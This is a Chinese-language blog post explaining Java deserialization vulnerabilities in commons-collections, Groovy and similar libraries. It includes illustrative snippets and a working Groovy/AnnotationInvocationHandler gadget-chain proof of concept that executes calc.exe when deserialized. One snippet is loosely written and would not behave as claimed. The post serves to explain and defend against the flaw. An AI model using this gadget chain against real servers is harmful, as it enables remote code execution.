Java 反序列化攻击

Java 反序列化攻击漏洞由FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。 

由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接引用这些包的应用都会受到威胁,这样的应用的数量会以百万计。 
说到漏洞存在的原因,根本还在于 Java 序列化自身的缺陷,众所周知,序列化的目的是使 Java 对象转化成字节流,方便存储或者网络上传输。Java 对象分解成字节码过程叫做序列化,从字节码组装成 Java 对象的过程叫做反序列化,这两个过程分别对应于的 writeObject 和 readObject 方法。问题在于 readObject 在利用字节流组装 Java 对象时不会调用构造函数, 也就意味着没有任何类型的检查,用户可以复写 readObject() 方法执行任何希望执行的代码。 

这可能会导致三方面问题: 
1. 序列化对象修改了对象或者父类的某个未加保护的关键属性,导致未预料的结果。 例如: 

Java代码 
  1. class Client {  
  2. private int value;  
  3. public Client(int v) {  
  4.         if (v <= 0) {  
  5.             throw new RuntimeException("not positive number");  
  6.         }  
  7.         value = v;  
  8.     }  
  9.     public void writeObject(ObjectOutputStream oos) throws IOException {  
  10.         int value = 0; //这里该值被改为0。(现实中可以通过调试模式,修改serialize字节码或者class instrument等多种方式修改该值)  
  11.         oos.defaultWriteObject();  
  12.     }  
  13. }  
  14. class Controller {  
  15.     private ArrayBlockingQueue<Client> queue;  
  16.     public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {  
  17.         Client s = (Client)o.readObject(); //反序列化不调用构造函数,value的非零检查不会触发  
  18.         queue.add(s);  
  19.     }  
  20.     public Client getClient() throws InterruptedException {  
  21.         return (Client)queue.take();  
  22.     }  
  23. }  
  24. class Server extends Thread {  
  25.     private Controller controller = new Controller();  
  26.     private int result = 100;  
  27.     public void run() {  
  28.         while (true) {  
  29.             try {  
  30.                 result = result / controller.getClient().getValue(); // 由于value是0,会导致算数异常,线程结束  
  31.                 Thread.sleep(100);  
  32.             } catch (InterruptedException e) {}  
  33.         }  
  34.     }  
  35. }  


2. 攻击者可以创建循环对象链,然后序列化。会导致反序列化无法结束, 空耗系统资源。例如: 

Java代码 
  1. Set root = new HashSet();  
  2. Set s1 = root;  
  3. Set s2 = new HashSet();  
  4. for (int i = 0; i < 10; i++) {  
  5.   Set t1 = new HashSet();  
  6.   Set t2 = new HashSet();  
  7.   t1.add("foo"); //使t2不等于t1  
  8.   s1.add(t1);  
  9.   s1.add(t2);  
  10.   s2.add(t1);  
  11.   s2.add(t2);  
  12.   s1 = t1;  
  13.   s2 = t2;   
  14. }  


3. 用户在收到序列化对象流时可以选择存储在本地,以后再处理。由于没有任何校验机制,使得上传恶意程序成为可能。 

Java代码 
  1. class Controller {  
  2.     public void receiveState(ObjectInputStream ois) {  
  3.         FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));  
  4.         fos.write(ois); //实际并不知道存的是什么,可能是恶意脚本。  
  5.         fos.close();  
  6.     }  
  7. }  


那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢?下面是 Groovy 的一个例子: 

Java代码 
  1. public class GroovyTest {  
  2. public static void main(String[] args) throws Exception {  
  3.     final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");  
  4.     Class<?>[] clsArr = {Map.class};  
  5.     final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));  
  6.     final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];  
  7.     ctor.setAccessible(true);  
  8.     final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);  
  9.     ByteArrayOutputStream bos = new ByteArrayOutputStream();  
  10.     ObjectOutputStream oos = new ObjectOutputStream(bos);  
  11.     oos.writeObject(handler);  
  12.     byte[] bytes = bos.toByteArray(); //对象被序列化  
  13.     ByteArrayInputStream bis = new ByteArrayInputStream(bytes);  
  14.     ObjectInputStream ois = new ObjectInputStream(bis);  
  15.     ois.readObject(); //反序列化时calc.exe被执行  
  16. }  
  17. }  


在这个例子中,ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,会尝试调用 entrySet() 方法,这会触发 calc.exe 的调用。 

Java代码 
  1. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {  
  2.     var1.defaultReadObject();  
  3.     AnnotationType var2 = null;  
  4.   
  5.     try {  
  6.         var2 = AnnotationType.getInstance(this.type);  
  7.     } catch (IllegalArgumentException var9) {  
  8.         throw new InvalidObjectException("Non-annotation type in annotation serial stream");  
  9.     }  
  10.   
  11.     Map var3 = var2.memberTypes();  
  12.     Iterator var4 = this.memberValues.entrySet().iterator();  
  13.   
  14.     while(var4.hasNext()) {  
  15.         Entry var5 = (Entry)var4.next();  
  16.         String var6 = (String)var5.getKey();  
  17.         Class var7 = (Class)var3.get(var6);  
  18.         if(var7 != null) {  
  19.             Object var8 = var5.getValue();  
  20.             if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {  
  21.                 var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));  
  22.             }  
  23.         }  
  24.     }  
  25. }  


针对这个问题,FoxGlove Security 提到开发者不应该反序列化任何不信任的数据,而实际情况却是开发者对该问题的危害没有足够的认知,他提到一种激进的做法那就是如果你足够勇敢可以尝试扫描并删除存在反序列化漏洞的类,但是实际情况是第一没有人敢于冒这种风险,第二,当应用对象的依赖关系会很复杂,反序列化过程会导致很多关联对象被创建,所以扫描不能保证所有的问题类被发现。 

然而幸运的是,这个问题引起了一些安全公司的重视,在他们推出的RASP(Runtime Application Security Protection)产品中会在应用运行期对该漏洞进行防护。

 

posted @ 2015-12-30 22:51  烟-波-天-客  阅读(1015)  评论(0编辑  收藏  举报